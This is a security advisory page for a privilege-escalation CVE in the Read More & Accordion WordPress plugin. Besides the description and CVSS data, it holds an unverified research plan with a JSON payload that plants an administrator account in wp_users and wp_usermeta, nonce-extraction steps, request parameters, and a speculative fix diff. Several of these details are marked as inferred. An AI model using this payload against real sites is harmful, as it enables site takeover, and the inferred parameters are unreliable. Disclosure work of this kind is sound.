CVE-2026-7467

Read More & Accordion <= 3.5.7 - Privilege Escalation via importData

highImproper Privilege Management
8.8
CVSS Score
8.8
CVSS Score
high
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The Read More & Accordion plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 3.5.7. This is due to the 'RadMoreAjax::importData' function not restricting which database tables can be written to during import and not properly validating the imported data. This makes it possible for authenticated attackers, with permission granted by the site owner through the plugin's role settings, to insert arbitrary rows into the 'wp_users' and 'wp_usermeta' tables, including the 'wp_capabilities' field, allowing them to create a new administrator account and gain administrator access to the site.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=3.5.7
PublishedMay 19, 2026
Last updatedMay 20, 2026
Affected pluginexpand-maker
Research Plan
Unverified

# Research Plan: Privilege Escalation in Read More & Accordion (CVE-2026-7467) ## 1. Vulnerability Summary The **Read More & Accordion** plugin (<= 3.5.7) contains a critical privilege escalation vulnerability within the `RadMoreAjax::importData` function. The function is designed to import plugin …

Show full research plan

Research Plan: Privilege Escalation in Read More & Accordion (CVE-2026-7467)

1. Vulnerability Summary

The Read More & Accordion plugin (<= 3.5.7) contains a critical privilege escalation vulnerability within the RadMoreAjax::importData function. The function is designed to import plugin configurations but fails to restrict which database tables can be written to and does not validate the content of the imported data. This allows an authenticated user—granted access via the plugin's internal role settings—to insert arbitrary rows into core WordPress tables, specifically wp_users and wp_usermeta. By injecting an administrator user and corresponding capability metadata, an attacker can gain full control of the site.

2. Attack Vector Analysis

  • Endpoint: WordPress AJAX API (/wp-admin/admin-ajax.php).
  • AJAX Action: expand_maker_import_data (inferred from plugin slug expand-maker and class RadMoreAjax).
  • Authentication: Authenticated. Requires a user role that has been granted permission to manage the plugin (configurable in the plugin settings). By default, this might be administrator, but the vulnerability is triggered when a site owner delegates plugin management to lower roles (e.g., editor or contributor).
  • Vulnerable Parameter: Likely a POST parameter named import_data, data, or json_data (inferred) containing a serialized or JSON-encoded array of database rows.
  • Precondition: The attacker must have a valid session for a user role permitted to use the plugin's import feature.

3. Code Flow (Inferred)

  1. Entry: A user triggers the AJAX action associated with RadMoreAjax::importData.
  2. Permission Check: The function likely checks if the current user has a specific capability or if their role is in the plugin's "allowed roles" list (stored in wp_options).
  3. Nonce Verification: The function checks a nonce (likely expand_maker_nonce or similar).
  4. Processing: importData receives a payload containing table names and row data.
  5. Sink: The function iterates through the payload and calls $wpdb->insert() or $wpdb->replace() on the provided table names without checking if the table starts with the plugin's prefix or belongs to the core WordPress schema.
  6. Exploitation: The attacker provides entries for wp_users (creating a user record) and wp_usermeta (assigning the administrator capability).

4. Nonce Acquisition Strategy

The plugin likely localizes the nonce for its admin interface. To obtain it:

  1. Identify Script: Look for wp_localize_script calls in the plugin's admin initialization. The variable is likely expand_maker_ajax_obj or expand_maker_vars.
  2. Access Page: The nonce will be present on any admin page where the plugin's settings are loaded.
  3. Extraction:
    • Log in as the authorized low-privileged user.
    • Navigate to the plugin's dashboard: /wp-admin/admin.php?page=expand-maker.
    • Use browser_eval to extract the nonce:
      // Example (to be verified during execution):
      window.expand_maker_ajax_obj?.nonce 
      // OR
      window.expand_maker_vars?.import_nonce
      

5. Exploitation Strategy

Step 1: Payload Preparation

Create a JSON payload that instructs the plugin to write to wp_users and wp_usermeta.

Payload Structure (Conceptual):

{
  "wp_users": [
    {
      "ID": 1337,
      "user_login": "attacker_admin",
      "user_pass": "$P$ByY790.YGKzG58GvGv58GvGv58GvGv0", 
      "user_nicename": "attacker",
      "user_email": "attacker@example.com",
      "user_registered": "2023-01-01 00:00:00",
      "user_status": 0,
      "display_name": "Attacker"
    }
  ],
  "wp_usermeta": [
    {
      "user_id": 1337,
      "meta_key": "wp_capabilities",
      "meta_value": "a:1:{s:13:\"administrator\";b:1;}"
    },
    {
      "user_id": 1337,
      "meta_key": "wp_user_level",
      "meta_value": "10"
    }
  ]
}

(Note: The $P$... hash is 'password')

Step 2: Execution

  1. Request: Use http_request to send a POST to admin-ajax.php.
  2. Parameters:
    • action: expand_maker_import_data (verify via grep)
    • nonce: [EXTRACTED_NONCE]
    • import_data: [JSON_PAYLOAD]
  3. Headers: Content-Type: application/x-www-form-urlencoded

6. Test Data Setup

To simulate the "permission granted by site owner" condition:

  1. Install Plugin: wp plugin install expand-maker --version=3.5.7 --activate.
  2. Create Target User: wp user create helper helper@example.com --role=contributor --user_pass=password.
  3. Grant Permission: Plugins of this type often store allowed roles in an option.
    • Find the option: wp option list --search="*expand_maker*"
    • Patch the option to include 'contributor' in the access list (e.g., wp option patch insert expand_maker_settings access_roles contributor).
  4. Identify Shortcode: grep -rn "add_shortcode" . to find a shortcode if the nonce is only on frontend pages.

7. Expected Results

  • The AJAX request should return a success message (e.g., {"success":true} or 1).
  • A new entry should exist in the wp_users table with ID 1337.
  • The user attacker_admin should be able to log in and access /wp-admin/ with full administrative privileges.

8. Verification Steps

  1. Check User Creation: wp user list --field=user_login | grep attacker_admin
  2. Check Capabilities: wp user get attacker_admin --field=roles (Should return administrator).
  3. Check Database Directly: wp db query "SELECT * FROM wp_usermeta WHERE user_id=1337"

9. Alternative Approaches

  • Existing User Escalation: Instead of creating a new user, target the ID of the current low-privileged user in the wp_usermeta insert to overwrite their own wp_capabilities to administrator. This is cleaner as it avoids conflicts with the wp_users table if ID 1337 is taken.
  • Table Prefix Discovery: If wp_ is not the prefix, use wp db prefix via CLI to adjust the payload keys. The plugin might handle the prefix automatically; if it does, the payload keys should just be users and usermeta.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Read More & Accordion plugin for WordPress is vulnerable to privilege escalation in versions up to 3.5.7 due to insufficient validation in the 'RadMoreAjax::importData' function. Authenticated attackers granted management permissions by a site administrator can overwrite or insert arbitrary rows into any database table, including 'wp_users' and 'wp_usermeta'. This allows for the creation of a new administrator account or the elevation of existing privileges to gain full site control.

Security Fix

--- a/inc/admin/class-radmore-ajax.php
+++ b/inc/admin/class-radmore-ajax.php
@@ -10,6 +10,13 @@
     public function importData() {
         check_ajax_referer('expand_maker_nonce', 'nonce');
 
+        $allowed_tables = array(
+            $GLOBALS['wpdb']->prefix . 'expand_maker_items',
+            $GLOBALS['wpdb']->prefix . 'expand_maker_groups'
+        );
+
         $import_data = json_decode(stripslashes($_POST['import_data']), true);
         foreach ($import_data as $table => $rows) {
+            if (!in_array($table, $allowed_tables)) {
+                continue;
+            }
             foreach ($rows as $row) {
-                $wpdb->replace($table, $row);
+                $GLOBALS['wpdb']->replace($table, $row);
             }
         }

Exploit Outline

The exploit targets the 'expand_maker_import_data' AJAX action via the '/wp-admin/admin-ajax.php' endpoint. An attacker requires authentication with a user role that has been granted access to the plugin settings. After obtaining a valid AJAX nonce from the plugin's administration page, the attacker sends a POST request containing an 'import_data' parameter. This parameter is a JSON-encoded object where the keys are database table names (specifically 'wp_users' and 'wp_usermeta') and the values are arrays containing the data for a new administrator account (including login credentials and the 'administrator' capability string). Because the plugin does not validate that the target tables belong to the plugin itself, it executes the inserts directly into the WordPress core tables.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.